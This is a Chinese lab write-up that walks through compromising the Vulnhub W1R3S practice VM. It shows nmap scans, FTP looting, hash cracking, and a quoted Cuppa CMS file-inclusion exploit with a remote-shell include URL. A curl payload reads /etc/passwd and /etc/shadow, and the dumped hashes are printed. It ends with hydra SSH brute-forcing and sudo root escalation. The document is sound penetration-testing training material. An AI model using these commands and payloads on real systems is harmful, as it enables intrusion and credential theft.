Vulnhub靶场学习之W1R3S

「红队笔记」靶机精讲:W1R3S 1.0.1 - 渗透测试思路为王,细节多到即使对于纯萌新也能无感入圈。_哔哩哔哩_bilibili

环境准备

W1R3S: 1.0.1

下载镜像

https://download.vulnhub.com/w1r3s/w1r3s.v1.0.1.zip

描述

You have been hired to do a penetration test on the W1R3S.inc individual server and report all findings. They have asked you to gain root access and find the flag (located in /root directory).
Difficulty to get a low privileged shell: Beginner/Intermediate
Difficulty to get privilege escalation: Beginner/Intermediate
About: This is a vulnerable Ubuntu box giving you somewhat of a real world scenario and reminds me of the OSCP labs.
If you need any hints, pointers or have questions feel free to email me: specterinthewires at gmail dot com
Virtual Machine: VMware Workstation

网络

将攻击机和靶机置于同一网络环境下。
这里我设置网络环境在10段。

开始

主机发现

1
2
sudo nmap -sn 10.0.0.0/24
# 这里的n是 no port scan 不进行端口扫描

默认发送四项数据:

  • ICMP回显请求
  • 端口443的TCP、SYN请求
  • 端口80的TCP、ACK请求
  • 默认ICMP时间戳请求。

如果不是sudo,只会向80、443端口发送SYN数据包。
image.png
我的本机ip是132段,显然这里133段为目标靶机。

其他扫描

这里还提到了列表扫描。

1
sudo nmap -sL 10.0.0.0/24

可以进行轻量级侦察。
这里的命令和arp-scan类似

1
sudo arp-scan -l

可以在nmap扫描中添加参数--send-ip来发送ICMP时间戳请求,因为可能并不是所有主机都对正常发送的arp请求有反应。
可以通过靶机启动之前和之后来确定ip地址。

10.0.0.1/2410.0.0.0/24

这里视频提到了一个问题,就是10.0.0.1/24可能表示的是网络ip而10.0.0.0/24标明的是主机地址。
这两个表达式的区别在于:

  • 10.10.10.0/24:通常用这种格式来指代整个子网。这里的10.10.10.0通常是子网的网络地址,即这个地址专门用来标识子网本身,并不分配给网络中的任何设备作为它们的IP地址。
  • 10.10.10.1/24:这个表达式通常指的是子网中的一个具体的主机IP地址,这里的10.10.10.1通常是分配给网络中某个设备的具体IP地址。不过,它后面带上/24后,表明了这个IP地址属于哪一个子网,也就是说10.10.10.1是10.10.10.0/24这个子网内的一个可用IP地址。

端口扫描

存放nmap结果

1
mkdir nmapscan

端口扫描

1
sudo nmap -sT --min-rate 10000 -p- 10.0.0.133 -oA nmapscan/ports

以TCP形式进行扫描,除此之外默认是使用-sS进行扫描,使用SYN标志位来探测开放端口,如果收到了SYN加ACK回复则说明端口开放。如果是RST(复位)则说明关闭。
-sT是用TCP三次握手来判断端口状态,如果收到了SYN加ACK回复则说明端口开放,很显然,前者更加适合快速判断,但是后者更加准确。
除此之外,-sT可以对某些具有SYN过滤机制的防火墙的主机更有效。
这里的-p是指定端口,后面的-是指定1-65535范围全端口,默认是扫描常用端口。
设置最低速率为10000
-oA``o是输出,A是所有格式。
这里扫描出结果如下:
image.png
结果也按照三种格式导出:
image.png

  • -l (小写L): 这个参数告诉ls以长列表格式列出文件和目录的信息。这个格式包含了文件的权限、所有者、大小、最后修改时间等详细信息。
  • -i: 这个参数让ls显示每个文件和目录的inode号。inode(索引节点)是文件系统中的一个数据结构,用来存储文件的属性,每个文件都有一个独一无二的inode号。
  • -a: 这个参数使ls显示所有文件和目录,包括那些以.开始的隐藏文件。在类Unix系统中,文件名以.开始通常意味着它是隐藏的。
  • -h: 这个参数让ls在长列表格式输出时,将文件大小展示为易读的格式(如KB、MB等),而不是仅以字节表示。这让人更容易理解文件大小。

信息整理

在输出结果中搜索具有端口号的数据行

1
grep open nmapscan/ports.nmap

image.png

1
grep open nmapscan/ports.nmap | awk -F '/' '{print $1}'

awk -F 处理分隔符,指定分隔符为/并输出。
image.png

1
grep open nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ','

paste -sd``s指定合并到一行,d使用分割符
image.png
然后赋值给变量

1
ports=$(grep open nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ',')

image.png

信息获取

详细信息

1
sudo nmap -sT -sV -sC -O -p21,22,80,3306 10.0.0.133 -oA nmapscan/detail
  • -sT: 使用TCP连接扫描方法,即进行一个完整的三次握手过程。
  • -sV: 进行服务版本检测,尝试确定正在运行的服务的版本信息。
  • -sC: 执行脚本扫描,运行默认的nmap脚本集合以便进行进一步的服务探测和其他检查。
  • -O: 开启操作系统检测,尝试识别目标主机的操作系统。

结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
Host is up (0.00065s latency).

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.0.0.132
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 content
| drwxr-xr-x 2 ftp ftp 4096 Jan 23 2018 docs
|_drwxr-xr-x 2 ftp ftp 4096 Jan 28 2018 new-employees
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 07:e3:5a:5c:c8:18:65:b0:5f:6e:f7:75:c7:7e:11:e0 (RSA)
| 256 03:ab:9a:ed:0c:9b:32:26:44:13:ad:b0:b0:96:c3:1e (ECDSA)
|_ 256 3d:6d:d2:4b:46:e8:c9:a3:49:e0:93:56:22:2e:e3:54 (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3306/tcp open mysql MySQL (unauthorized)
MAC Address: 00:0C:29:C0:3A:C1 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 3.X|4.X|5.X|2.6.X (97%), Synology DiskStation Manager 5.X (90%), Netgear RAIDiator 4.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5.1 cpe:/o:linux:linux_kernel:2.6.32 cpe:/a:synology:diskstation_manager:5.2 cpe:/o:netgear:raidiator:4.2.28
Aggressive OS guesses: Linux 3.10 - 4.11 (97%), Linux 3.2 - 4.9 (97%), Linux 5.1 (95%), Linux 3.16 - 4.6 (91%), Linux 4.10 (91%), Linux 4.4 (91%), Linux 2.6.32 (91%), Linux 3.4 - 3.10 (91%), Linux 4.15 - 5.8 (91%), Linux 5.0 - 5.4 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: Host: W1R3S.inc; OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.30 seconds

udp端口扫描

1
sudo nmap -sU --top-ports 20 10.0.0.133 -oA nmapscan/udp
  • -sU:指定使用 UDP 协议进行扫描。
  • –top-ports 20:表示扫描最常见的前 20 个 UDP 端口。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Host is up (0.00045s latency).

PORT STATE SERVICE
53/udp open|filtered domain
67/udp open|filtered dhcps
68/udp open|filtered dhcpc
69/udp open|filtered tftp
123/udp open|filtered ntp
135/udp open|filtered msrpc
137/udp open|filtered netbios-ns
138/udp open|filtered netbios-dgm
139/udp open|filtered netbios-ssn
161/udp open|filtered snmp
162/udp open|filtered snmptrap
445/udp open|filtered microsoft-ds
500/udp open|filtered isakmp
514/udp open|filtered syslog
520/udp open|filtered route
631/udp open|filtered ipp
1434/udp open|filtered ms-sql-m
1900/udp open|filtered upnp
4500/udp open|filtered nat-t-ike
49152/udp open|filtered unknown
MAC Address: 00:0C:29:C0:3A:C1 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.62 seconds

漏洞扫描

1
sudo nmap --script=vuln -p21,22,80,3306 10.0.0.133 -oA nmapscan/vuln

扫描漏洞

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Host is up (0.00051s latency).

PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-slowloris-check:
| VULNERABLE:
| Slowloris DOS attack
| State: LIKELY VULNERABLE
| IDs: CVE:CVE-2007-6750
| Slowloris tries to keep many connections to the target web server open and hold
| them open as long as possible. It accomplishes this by opening connections to
| the target web server and sending a partial request. By doing so, it starves
| the http server's resources causing Denial Of Service.
|
| Disclosure date: 2009-09-17
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750
|_ http://ha.ckers.org/slowloris/
| http-enum:
|_ /wordpress/wp-login.php: Wordpress login page.
3306/tcp open mysql
MAC Address: 00:0C:29:C0:3A:C1 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 321.87 seconds

尝试

ftp

1
ftp 10.0.0.133

测试是否存在匿名登陆:
账号anonymous
image.png
使用二进制模式传输文件,否则文件可能会坏

1
binary

可以通过使用?查看可执行命令
image.png
我们记得前面扫描得到了ftp存在泄露,这里保存一下:
image.png
关闭提示模式prompt
多文件下载mget *.txt
几个文件夹都下载完成后查看文件 cat *.txt

leet speak挺好玩的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
New FTP Server For W1R3S.inc
#
#
#
#
#
#
#
#
01ec2d8fc11c493b25029fb1f47f39ce
#
#
#
#
#
#
#
#
#
#
#
#
#
SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==
############################################
___________.__ __ __ ______________________ _________ .__
\__ ___/| |__ ____ / \ / \/_ \______ \_____ \ / _____/ |__| ____ ____
| | | | \_/ __ \ \ \/\/ / | || _/ _(__ < \_____ \ | |/ \_/ ___\
| | | Y \ ___/ \ / | || | \/ \/ \ | | | \ \___
|____| |___| /\___ > \__/\ / |___||____|_ /______ /_______ / /\ |__|___| /\___ >
\/ \/ \/ \/ \/ \/ \/ \/ \/
The W1R3S.inc employee list

Naomi.W - Manager
Hector.A - IT Dept
Joseph.G - Web Design
Albert.O - Web Design
Gina.L - Inventory
Rico.D - Human Resources

ı pou,ʇ ʇɥıuʞ ʇɥıs ıs ʇɥǝ ʍɐʎ ʇo ɹooʇ¡

....punoɹɐ ƃuıʎɐןd doʇs ‘op oʇ ʞɹoʍ ɟo ʇoן ɐ ǝʌɐɥ ǝʍ

hash判断与md5爆破

这里面有一段hash可以判断是什么类型的

1
hash-identifier 01ec2d8fc11c493b25029fb1f47f39ce

image.png
这里直接用john自动破解一下:

1
2
echo "01ec2d8fc11c493b25029fb1f47f39ce" > md5.hash
john md5.hash

这玩应说实话直接上网站:

MD5在线解密|md5在线破解|批量破解md5网站 - ChaMd5.Org

image.png
验证一下:

1
echo -n 'This is not a password' | md5sum  

image.png
没有问题。
base64解密一下:

1
echo "SXQgaXMgZWFzeSwgYnV0IG5vdCB0aGF0IGVhc3kuLg==" | base64 -d

image.png
最后两个就是翻转的文本,也没啥用。

mysql

1
mysql -h 10.0.0.133 -u root -p

没有密码,暂时没办法

web

访问发现是apache默认页面
image.png
目录爆破。
dirsearch目录爆破。
或者用kali的库gobuster

1
sudo gobuster dir -u http://10.0.0.133 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt

这里的字典是kali自带的。
image.png
只有第三个可以访问。

Web

http://10.0.0.133/administrator/installation/
一个安装页面:
image.png
按照要求填写:
image.png
image.png
无法创建出管理员用户

数据库搜索

1
searchsploit cuppa cms

image.png
下载并打开

1
searchsploit cuppa  -m 25971
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
# Exploit Title   : Cuppa CMS File Inclusion
# Date : 4 June 2013
# Exploit Author : CWH Underground
# Site : www.2600.in.th
# Vendor Homepage : http://www.cuppacms.com/
# Software Link : http://jaist.dl.sourceforge.net/project/cuppacms/cuppa_cms.zip
# Version : Beta
# Tested on : Window and Linux

,--^----------,--------,-----,-------^--,
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..
`+---------------------------^----------|
`\_,-------, _________________________|
/ XXXXXX /`| /
/ XXXXXX / `\ /
/ XXXXXX /\______(
/ XXXXXX /
/ XXXXXX /
(________(
`------'

####################################
VULNERABILITY: PHP CODE INJECTION
####################################

/alerts/alertConfigField.php (LINE: 22)

-----------------------------------------------------------------------------
LINE 22:
<?php include($_REQUEST["urlConfig"]); ?>
-----------------------------------------------------------------------------


#####################################################
DESCRIPTION
#####################################################

An attacker might include local or remote PHP files or read non-PHP files with this vulnerability. User tainted data is used when creating the file name that will be included into the current file. PHP code in this file will be evaluated, non-PHP code will be embedded to the output. This vulnerability can lead to full server compromise.

http://target/cuppa/alerts/alertConfigField.php?urlConfig=[FI]

#####################################################
EXPLOIT
#####################################################

http://target/cuppa/alerts/alertConfigField.php?urlConfig=http://www.shell.com/shell.txt?
http://target/cuppa/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

Moreover, We could access Configuration.php source code via PHPStream

For Example:
-----------------------------------------------------------------------------
http://target/cuppa/alerts/alertConfigField.php?urlConfig=php://filter/convert.base64-encode/resource=../Configuration.php
-----------------------------------------------------------------------------

Base64 Encode Output:
-----------------------------------------------------------------------------
PD9waHAgCgljbGFzcyBDb25maWd1cmF0aW9uewoJCXB1YmxpYyAkaG9zdCA9ICJsb2NhbGhvc3QiOwoJCXB1YmxpYyAkZGIgPSAiY3VwcGEiOwoJCXB1YmxpYyAkdXNlciA9ICJyb290IjsKCQlwdWJsaWMgJHBhc3N3b3JkID0gIkRiQGRtaW4iOwoJCXB1YmxpYyAkdGFibGVfcHJlZml4ID0gImN1XyI7CgkJcHVibGljICRhZG1pbmlzdHJhdG9yX3RlbXBsYXRlID0gImRlZmF1bHQiOwoJCXB1YmxpYyAkbGlzdF9saW1pdCA9IDI1OwoJCXB1YmxpYyAkdG9rZW4gPSAiT0JxSVBxbEZXZjNYIjsKCQlwdWJsaWMgJGFsbG93ZWRfZXh0ZW5zaW9ucyA9ICIqLmJtcDsgKi5jc3Y7ICouZG9jOyAqLmdpZjsgKi5pY287ICouanBnOyAqLmpwZWc7ICoub2RnOyAqLm9kcDsgKi5vZHM7ICoub2R0OyAqLnBkZjsgKi5wbmc7ICoucHB0OyAqLnN3ZjsgKi50eHQ7ICoueGNmOyAqLnhsczsgKi5kb2N4OyAqLnhsc3giOwoJCXB1YmxpYyAkdXBsb2FkX2RlZmF1bHRfcGF0aCA9ICJtZWRpYS91cGxvYWRzRmlsZXMiOwoJCXB1YmxpYyAkbWF4aW11bV9maWxlX3NpemUgPSAiNTI0Mjg4MCI7CgkJcHVibGljICRzZWN1cmVfbG9naW4gPSAwOwoJCXB1YmxpYyAkc2VjdXJlX2xvZ2luX3ZhbHVlID0gIiI7CgkJcHVibGljICRzZWN1cmVfbG9naW5fcmVkaXJlY3QgPSAiIjsKCX0gCj8+
-----------------------------------------------------------------------------

Base64 Decode Output:
-----------------------------------------------------------------------------
<?php
class Configuration{
public $host = "localhost";
public $db = "cuppa";
public $user = "root";
public $password = "Db@dmin";
public $table_prefix = "cu_";
public $administrator_template = "default";
public $list_limit = 25;
public $token = "OBqIPqlFWf3X";
public $allowed_extensions = "*.bmp; *.csv; *.doc; *.gif; *.ico; *.jpg; *.jpeg; *.odg; *.odp; *.ods; *.odt; *.pdf; *.png; *.ppt; *.swf; *.txt; *.xcf; *.xls; *.docx; *.xlsx";
public $upload_default_path = "media/uploadsFiles";
public $maximum_file_size = "5242880";
public $secure_login = 0;
public $secure_login_value = "";
public $secure_login_redirect = "";
}
?>
-----------------------------------------------------------------------------

Able to read sensitive information via File Inclusion (PHP Stream)

################################################################################################################
Greetz : ZeQ3uL, JabAv0C, p3lo, Sh0ck, BAD $ectors, Snapter, Conan, Win7dos, Gdiupo, GnuKDE, JK, Retool2
################################################################################################################

文件包含。
正常访问没有。
可能将administrator作为根目录,构造内容:

1
http://10.0.0.133/administrator/alerts/alertConfigField.php

image.png
有内容,但是不是get访问传参。
github上能找到源码:

CuppaCMS/alerts/alertConfigField.php at master · CuppaCMS/CuppaCMS

发现给的代码已经修改过了:
image.png
使用post命令包含。
可以用curl来构造post访问:

1
curl --data-urlencode 'urlConfig=../../../../../../../../etc/passwd' http://10.0.0.133/administrator/alerts/alertConfigField.php

或者直接hackbar
image.png
x说明是hash形式存在。
查找shadow文件。
image.png
保留有hash值的用户:

1
2
3
www-data:$6$8JMxE7l0$yQ16jM..ZsFxpoGue8/0LBUnTas23zaOqg2Da47vmykGTANfutzM8MuFidtb0..Zk.TUKDoDAVRCoXiZAH.Ud1:17560:0:99999:7:::
root:$6$vYcecPCy$JNbK.hr7HU72ifLxmjpIP9kTcx./ak2MM3lBs.Ouiu0mENav72TfQIs8h1jPm2rwRFqd87HDC0pi7gn9t7VgZ0:17554:0:99999:7:::
w1r3s:$6$xe/eyoTx$gttdIYrxrstpJP97hWqttvc5cGzDNyMb0vSuppux4f2CcBv3FwOt2P1GFLjZdNqjwRuP3eUjkgb/io7x9q1iP.:17567:0:99999:7:::

john尝试自动破解:
image.png
尝试先登录这两个账号。

1
sudo ssh w1r3s@10.0.0.133

成功登录
image.png
查看信息
image.png
注意到w1r3ssudo权限
查看有哪些系统权限:

1
sudo -l

image.png
三个权限都有说明与root基本相同。

1
sudo /bin/bash

获取到root
image.png
在root下可以看到flag:
image.png
补充一下其他攻击向量。

补充

ssh爆破

用户字典:
image.png
九头蛇爆破
得先解压rockyou字典:

1
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz

爆破

1
hydra -L user.list -P /usr/share/wordlists/rockyou.txt ssh://10.0.0.133 -t 4 

这肯定是可以的因为w1那个用户的密码就是弱口令。
image.png

总结

挺简单的,但是细节视频讲的都很到位。比如nmap那里的命令讲的都不错。